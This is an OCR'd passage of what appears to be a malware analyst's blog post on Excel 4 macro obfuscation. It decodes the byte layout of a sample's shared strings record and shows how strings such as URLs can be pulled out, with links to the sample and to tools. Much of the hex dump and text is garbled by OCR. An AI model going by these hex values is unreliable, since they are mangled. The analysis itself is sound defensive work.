S £ 1% 0T 00 01 00 00 00 &2 0D 0000 20 02600400 O 6160 00 68 00 060 74 00 7906 6.0 G800 4 00 300
e RNk ATRABALEREY I oomumwmaw B R T LT
EROATR BF UL 90 9 66 41 6O KD B0 00 0L 9 BR 0R ML 9 ; ::::::::::ggg:;ﬁ RRELRAR TR RRERARNRIEY R AR
SISG0308 L3 OF 58 AL B0 45 BA 4E 03 13 47 B 85 B B0 o4
SO0O0aE0 AN 0O 53 Y OO A5 00 95 O 1T 03 33 8% 6B &1 &8 16 13 OT 00 41 OO OO OO 46 OO 8 00 7 50 5 00 0 3 A O 0 1 6 20 00 B0 4 0. A3
Siassste 4 54 46 64 A2 44 18 46 G £ 4 84 13 47 58 A1 KL Ls 6T S0 61 & Gb 06 73 &8 B B aoar e aLE
4 4 « L5 8% L o T EiE
FEENNET 5 00 55 BN B9 D 6T 99 G0 59 93 69 A3 69 ER 40 :':t ’:g:ggg’ggggx::g | dmx LR 0 % 0 2108 B 00 4 e e
SH000000 O OL B 00 B0 4B 00 L3 11 00 08 £ 00 0 4R 4 E 1 4 e e
SESESGEE AL 0 43 99 43 95 43 29 A3 20 43 3% 59 oW 29 89 3413 0T 0D B3 0P 00 90 T4 9D ShEELE e
HEOANE 35 48 59 6D B0 T3 00 L 09 43 09 45 3% 6D B0 M 15 13 0T 00 01 00 OO 0D &4 OO 01 500 0 3, T 10 T R T i
BOCHLIS B0 18 5D O3 B4 02 B0 50 64 00 EZ B0 A1 B0 W 8 16 1¥ OT 00 01 OO OO OD €3 o0 ELEER e e D D L P LA
B S 1T 13 OT OO 01 00 OO OO €1 B0 061 0 0 4 B 8 72 T 7 062006 710
HEHLIE 3 O 4 0 T2 EL T 6 30 0D BB 1 4E B 1% &7 OO ©1 00 OO OO £F 88 o T i i 0 75 60 T e £ FEE
S0S0L3S AR o5 T 03 30 65 & 50 TI 50 4B 23 44 09 30 04 e o6 6% 20 €0 T EETTEL:
FIRRIT B 00 4 93 M 9E 39 99 & 99 TN 69 TR 69 TR 09 AR 0T 00 01 OF 00 00 44 O0 TR o 185 8 A % &
BIOOALEE BE (O #8 O3 43 00 TH 56 B0 B0 68 00 AF 00 T3 0 20 1% OF 00 @1 0D OO 0D TT DD “:'énl"“ 4 '?"':: l"_ il
SOSLIS B3 G0 3B 00 30 80 41 50 T 00 48 O 55 0 43 09 31 13 OT 00 01 OO O0 OD 4= ©0 by P LT L
JEOTLTE A7 0O 7T 00 4% 03 HB 55 EH 00 20 69 81 00 MK OO 55 13 OF 60 01 00 00 OO &3 &0 T 0 B B X B G A 36 U
SISASLES WY B3 VY 54 dA 55 R 55 B4 B3 R S 45 B4 W 84 G L L L L L R LU L L LE L
SR 6 03 18 55 53 08 B3 86 M 40 4F 06 38 B3 50 00 I3 13 0D 00 04 0D DD OD AC 00 4D O 6F 00 6 &
HEHLAE BE G 41 00 T4 O TH B T3 60 4N 0D 20 0D 41 EREN1Y OF 00 01 00 00 00 33 OO Lo
SESSOLES 44 OO 4D OF 4B 53 T 30 & 20 33 00 T o3 4B &4 25 1% OF &b 01 O Ob oD 43 B0 Hepdas Bries SSFEV
L L R I6 13 0T 00 01 OO O0 OD 4B oD
T ARG 37 13 11 50 06 00 00 00 4K OO AA 50 43 00 43 00 42 b 4| AR
— A . e 5 13 3% D0 OF 00 DD 00 4B 90 6F 00 TI 00 6K 00 € 00 g e
BiaBES A4 5 BE S5 42 58 43 S50 04 3 i 88 25 13 0D 00 04 OO OO OD €6 OD &0 OO0 £1 00 T4 0D
FEENIE 0 0D T3 B0 W B3 4 50 T 8 53 35 8 — I Ellr-':db-wl
SIOCOZID TH (0 4F 00 6D 00 65 B T4 0 00 4 0 fren =TT B i i 09
SOSHANIS 3 OO I Y T 99 TX 90 48 TEL . — — e et | 8
FEGINE T4 U0 A 09 #4099 39 9 6 7 T M It 2 A
SIOGARSE AR O3 73 50 d B3 T 30 48 G i ) &
3B B3 36 85 41 55 4% g B 43 53 Iesda &
W00 30 8 TH B T T 0 A s & I
15 G0 53 AT 35 T4 55 4 5 b 4
] o 09 30 W b 7 2
SE 00 3L 58 30 8 A SL 03 T8 08 e § T
4 00 TH 63 10 55 W L b 8 1
T TH B8 0 50 6 W I e 10
4 B TF G5 TE 68 &N 88 i B 38 58 b 11 4
00 AF 03 77 58 30 86 M 9 6 2% 58 Irdar 13
AL RE O3 M IE & T s 13
B T3 53 B 45 45 52 A 45 b5 A 53 el d
40 TH AR R TR oF 53 4D % Eatd o, It 15w
20 00 4F 50 44 B0 B L 8 30 0 et 16 L
AF 53 30 53 4 25 6 3 G
AT BE TH B TD I I
AF 55 dE 53 Te 55 64 34 5 il 54

9F 01 08 Header bytes. Same In all samples.
48 00 00 00 Count: Ix4B = 72 Decimal
2c 00 00 00 Unique Count: 0220 = 44 Deimal

Eﬁ@' Unicode Char.

LR

Lets take a look at format for this sample then we will go back and look at the one from the beginning.

We can see the first 3 bytes of the data appear to be a fixed Header value.
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The next 4 bytes are the “Count”. If I understand correctly, it is the total times the string/chars are referenced.
The next 4 bytes are the “Unique Count”. These should be the total number of strings shown in the cells.
Next it gets interesting.

The first byte is always 0x13 Next we have 1 or 2 bytes (Unknown). Perhaps it is a data type ? It appears that it
could be 1 or 2 bytes then a null byte depending on the string.

Next we have the length of the string as displayed in the cell. It uses at least 2 bytes.

So the first is only 1 char then value is 0x0100 or in reverse order 0x0001.
After that we have 2 null bytes. Then finally the Unicode bytes for the string.

Now lets go back to our first file that we extracted from this sample.
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or
22
22

b b b ik

o s
0 =) G U1 s L) B O 0 00 =0 g U0 G B

=t

01
0o
oo

cs
DB
DB
A7
Do
FD
B3
E9
AS
8B
BF
a7
BY
BB
a7

BS
81
BD
99
F3
ar
E7
FF
91
SD
CF
93
ES
ED

o8
0o
oo

oc
o8
a7
oB
1]
o8
oA
1]
0a
10
oA
0%
oc
1}:%
oa

1}:%
09
o8
o8
o8
08
1]
og
08
0%
0%
as
0s
og
o8

00
0o

00
00
oo
oo
00
ao
oo
oo
0o
oo
oo
oo
oo
oo
oo

oo
oo
Qo0
oo
oo
Qo0
00
00
00
00
00
oo
oo
oo
oo

20
2B
EB
Dl
en
3¢
87
72
92
03
sSD
51
in
SB
g9

SA
3E
1c
oa
37
Qs
71
3D
0
4C
&5
47
72
34
14

03
o2
01
02
0z
oz
02
02
02
04
02
0z
03
02
02

oz
02
02
o2
o2
02
02
0z
02
02
02
o2
02
02
o2

00
0o
oo
oo
0o
oo
oo
oo
0o
oo
oo
oo
0o
oo
oo

6F
oo
00
oo
oo
oo
0o
oo
oo
00
00
00
00
0o
oo
oo
oo
0o

00
0o
oo
oo
0o
oo
oo
oo
0o
oo
oo
oo
0o
oo
oo
00

oo
oo
00
oo
oo
oo
0o
oo
oo
00
00
00
00
0o
oo
oo
oo
0o

63
57
57
&l
&7
61
10
77
54
61
54
35
&C
61
T3
35

20
&F
eD
35
61
73
6B
&7
35
6l
41
35
63
T3
3]
52
77
73

oo
oo
1]
1]1]
oo
a0
oo
1]1]
oo
1]1]
0o
0o
oo
oo
1]1]
(111]

1]
1]1]
oo
1]
0o
0o
oo
oo
1]1]
o0
oo
oo
111}
oo
1]
1]1]
1]1]
oo

&F
6F
69
EE
el
73
72
&l
&8
EE
€8
1E
61
72
74
57

€2
6E
79
41
€4
6l
65
72
4E
76
T4
49
&F
el
65
75
&5
75

00
0o
oo
oo
0o
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
0o

oo
oo
oo
oo
oo
o0
oo
oo
oo
00
00
00
00
00
oo
oo
0o
oo

CE
72
74
&4
76
&8
EF
73
65
&4
ES
EF
72
&S
el
€5

€5
€3
20
&8
€1
€3
65
15
EF
eF
20
20
CE
3]
72
73
74
72

00
oo
oo
oo
0o
oo
oo
oo
0o
oo
oo
oo
0o
oo
oo
0o

oo
oo
0o
oo
oo
oo
0o
oo
oo
0o
00
00
00
0o
oo
oo
oo
oo

13
(53:]
68
20
€5
61
&R
20
20
20
6E
2cC
67
20
79
ec

20
65
63
2c
79
64
T0
66
20
69
T4
2]
64
cE
73
73
&8
&5

00
00
00
1]
00
00
0o
0o
00
00
00
00
0o
00
00
00

0o
00
00
0o
oo
00
00
0o
1]
00
00
00
00
00
00
1]
00
0o

65
69
&F
&8
20
6D
&5
&2
62
17
20
20
65
T4
2C
&ec

62
20
68
20
20
2C
20
66
&F
&4
68
6l
63
T4
65
&9
&F
20

00
00
0o
00
0o
oo
0o
00
oo
oo
00
0o
oo
0o
00
(1]1]

00
00
0o
0o
00
0o
oo
0o
00
00
0o
00
00
00
oo
00
0o
oo

72
6E
75
&l
&g
&5
&3
&5
72
&5
&3
17
20
EF
20
2C

&C
&7
&9
&C
17
20
68
&C
70
&3
&6l
64
T3
20
&c
&1
75
G6E

00
0o
oo
0o
oo
ao
oo
0o
uli]
oo
oo
oo
uli]
oo
0o
1]

oo
oo
uli]
oo
0o
oo
oo
ao
oo
0o
00
00
00
0o
oo
0o
0o
uli]

€5
67
74
&4
T4
&4
74
&7
65
20
€1l
€l
&8
6F
€l
20

61
&C
eC
65
EF

69
72
70
EE
T4
20
€3
GE
=1
EE
T4
&6F

o0
oo
oo
oo
0o
oo
oo
oo
0o
oo
oo
oo
0o
oo
oo
00

oo
oo
00
oo
oo
oo
0o
oo
oo
oo
0o
oo
o0
oo
oo
oo
oo
oo

@ h B 0 v ) g B B R B B R R

L e T O = = O e I = = =

Notice how everything is aligned but the area in the red box.

Page 16 of 18



https://pcsxcetrasupport3.wordpress.com/wp-content/uploads/2021/11/firstsst-b.png
https://pcsxcetrasupport3.wordpress.com/wp-content/uploads/2021/11/firstsst-b.png

https://pcsxcetrasupport3.wordpress.com /2021 /11 /16 /excel-4-macro-code-obfuscation/

Bl Sared e Bren i (1 | Edrpoied Shared Serge Comect 1 £
T odex - [T2€ Index :13 are too impulsive, too vehement; the sovezeign hand that creacedyour frame, and put -
life into it, has provided you with otherrescurces than your feasble self, or than creatures feable
as you.Besides this sarth, and besides Flr E o E B o {n:.ll-i g kingdom of
spizice: that world is round us, for i — s ay are
commissioned toguard us: and if we wer fde View Hep sides, and
hatred crushed us, angels ses our tort 3 s I know
[l you are of this chapgewhich ME. Brookll| spe @be OO0 ©OBn  SOwd Obwed ©Wed ©Bie nd
17 Index ;14 stay, and I stayed,5 he sa this?5 ha
;i:i.d _If\'-;! ;h:uﬂ-nhﬁz ;il«;m:;l b-m;lingl Cliw Clewp I_ I_ im” CE “ c ]I mwumlhf
srs in ie. wag glad of this appea net lat
hax give herself up to her feelinga, off (2] [l ) [0l i) |
surrender.50f course you wanted to ata) : t what do
you tell me that for? With what objecc)| = | o= | B EI El IIIE”I]DE' nycne
contest ur rights?But you want to ba
18 Index .':I.imI Sl-?lf it :hI': isnSt the g . L IE El IIIE”E]E“E'E' SWhy H
didnit =
e ek e e ol O JC| YR 3 0] 3| PP R R
te ge away.S55Just wait till I see Annif| D= e HE' L EEEEEE Meoulous
stuff. The idea of having ‘plans and| - Ly us
by-and-by! WonSthe lh.aut whan I tall h:l.n Hh;t tho silly t.hm:l say about us poor
15 16 T it, a
L
Wl 20 t Lavin, 'u'l'mhl.vd ni'\rﬁ: taken his ayes off him.S5Let =& introduces you,5
said thn Princess, indicating Levin.S%Constantin Dmitrievich Leawvin, Count Alexei Kirillowich
vronsky.5Vroneky got up and, looking cordially at Levin, shook hands withhim.S5I believe I was to u
Pl 1eat fike length: 21387 leees: 3 Le:19 Ced: S48 Sel:531 |1 Windsws (CRLF)  UTF8 (13
. E E X E X E X X X X X E X XE X .'
If we look at the string under index 16 we see it is 531 characters long.
531 = 0x0213 and our value in the data is 0x1302.
g e prnans | L s |
1 &9F 01 08
2 22 00 00 OO
2 22 00 0O 0O
4
5 .C’E05.2003@ﬂﬁﬂﬂﬁ?ﬁ_ﬁGEEEG@ES@?E&JGE@EEEES@EE@TE
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132 13 A% OA 00 92 02 00 00 54 00 &8 00 &5 00 20 00 &2 00 72 00 €3 00 &1 00 &4 00 20 00 &2
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12 13 BE OA 00 9B 02 00 00 &1 00 72 00 &5 00 20 00 74 00 &F 00 &F 00 20 00 &2 00 &D OO0 70
19 [§3 97 OA 00 89 02 00 00 73 00 74 00 €1 00 7% 00 2c 00 20 00 €1 00 6E 00 €4 00 20 00 49
20 @3 crFr 08B DO 25 02 00 OO0 35 00 57 DO &5 00 &C OO0 &C 00 2C 00 20 00 &5 00 €& 00 20 00 74
21 18 Ap 08 00 I8 0z 00 00 74 00 6F 00 20 00 €2 00 &5 00 20 00 &2 00 &C 00 €1 00 €D 00 &5
22 13 =3 07 00 EF 01 0D 00 6F 00 6E OO0 63 00 &5 00 20 00 €7 00 &C 00 61 00 €E D0 &3 00 &9
23 13 B% 09 00 5A 02 00 00 D 00 79 00 20 00 &3 00 &8 00 &9 00 &C 00 &4 00 72 00 &5 00 &E
24 P23 B% OA OO0 5A 02 00 00 35 00 41 00 €8 00 2C 00 20 00 &C 00 &5 00 74 00 20 00 €D 00 &5
25 13 21 09 00 3E 02 00 OO0 61 00 64 D0 &1 00 79 00 20 00 77 00 &F OO0 72 00 &C 00 &4 00 20
26 @3 BD 08 00 1c 02 00 00 73 00 1 00 €9 00 4 00 2c 00 20 00 eA 00 75 00 73 00 74 00 20
27 @3 9% 08 00 OR 02 00 OO0 68 00 65 OO0 &5 00 70 00 20 OO0 &8 00 65 0D 60 00 2E 00 35 00 57
28 A3 F3 08 00 37 02 00 00 &7 00 72 00 75 00 &6 00 &6 00 &C 00 79 00 20 00 &2 00 &5 00 &3
26 @8 gF 08 DO 05 02 00 O0 35 00 4E 00 €F OO0 20 00 éF 00 70 00 70 00 &F QO 72 0O 74 00 75
30 33 E7 09 00 71 02 00 00 61 00 76 00 &F 00 69 00 €4 00 &9 00 6E 00 &7 00 20 00 &C 00 &F
31 @3 FFr 0B 00 3D 02 00 00 41 00 74 00 20 00 74 00 e85 00 &1 00 74 00 20 00 eD 00 &F 00 &D
32 @3 91 08 OO0 06 OZ 0D O0 35 00 45 00 20 00 &8 00 61 OO0 &4 00 20 00 6% 00 €D 00 €1 OO0 &7
33 @8 5D 09 00 4c 0z 0D 00 &3 00 &F 00 6E 00 &4 00 &5 00 73 00 €3 00 &5 00 6E 00 73 00 &9
34 B8 cr 09 00 €5 02 00 00 73 00 €1 00 €5 00 €E 00 74 00 20 00 &E 00 &F 00 72 00 20 00 &1
35 13 93 09 00 47 0z OD OD 68 OO0 &5 OO0 72 OO0 73 00 65 00 &C 00 &6 00 20 00 75 00 €E 00 &4
36 43 E% 09 00 72 02 00 00 52 00 75 00 73 00 73 00 &9 00 &1 00 &E OO0 72 00 20 00 &1 00 72
37 @3 Ep 08 OO0 34 02 00 00 77 00 €5 00 74 00 &8 00 6F OO0 75 00 74 00 20 00 73 00 €5 DO &cC
38 A8 Ab 0B OO0 14 02 0D 00 73 00 75 00 72 00 &5 00 20 00 €E 00 &F 00 &2 00 &F 00 &4 00 79
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Now everything lines up.

Here we see the first byte 0X13 then 2 unknown bytes then a null byte then 2 bytes for the length and then a

double null and finally the start of out Unicode string values.
So in this sample we have extra 0x13 in a place that will break the tool.
At this point the tool will work on a few but will need a total rewrite based on this new information.

There have been plenty of samples that I have looked at where you did not even need to look at the VBA or macro

code. All you needed to do was extract the shared strings to get the urls or paths used.
That is it for this one I hope you learned from this as much as I did.

Links:

—

ink to Twitter thread

= |
2

ink to Sample on InQuest Labs

—

ink to Sample on Iris-H

Link to XLMMacroDeobfuscator

Link to my tools on GitHub

Source: https://pcsxcetrasupport3.wordpress.com/2021/11/16/excel-4-macro-code-obfuscation/
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https://twitter.com/fr0s7_/status/1458481326294769674
https://labs.inquest.net/dfi/sha256/5cd1c8b7425fcfd1d23acb3056262203b86174d87d6b8feb2087790694ea48b5
https://iris-h.services/pages/report/580fa6d458157bf2c0ad5c6d5165a1a9d83fe70c#metadata
https://github.com/DissectMalware/XLMMacroDeobfuscator
https://github.com/PCsXcetra/ToolsForParsingExcelData

